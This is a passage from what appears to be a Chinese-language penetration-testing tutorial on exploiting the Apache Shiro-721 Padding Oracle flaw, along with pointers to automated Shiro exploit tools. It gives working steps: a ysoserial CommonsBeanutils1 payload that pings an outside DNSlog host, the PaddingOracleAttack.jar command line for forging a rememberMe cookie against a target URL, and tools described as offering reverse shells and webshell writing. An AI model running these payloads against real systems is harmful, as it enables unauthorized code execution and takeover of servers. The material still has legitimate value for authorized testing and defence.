六、Shiro Padding Oracle Attack(Shiro-721)
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
1、漏洞利用
1、登录Shiro网站,从cookie中获得rememberMe字段的值,需要一个知道账号密码的账户。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AdBOrzAV-1640940518696)(shiro.assets/image-20211213220235813.png)]
2、利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用示例:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
爆破成功,输出Result:
4、使用构造的rememberMe攻击字符串重新请求网站
5、成功触发Payload,在DNSLog获取到目标IP。
七、图形化工具
ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。
Github项目地址:https://github.com/feihong-cs/ShiroExploit
Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。
Shiro-721,需输入url,提供一个有效的rememberMe Cookie
攻击成功后会显示目标的key,并有一些简单的反弹shell,webshell写入和命令执行的操作
shiro_attack By j1anFen
github:https://github.com/j1anFen/shiro_attack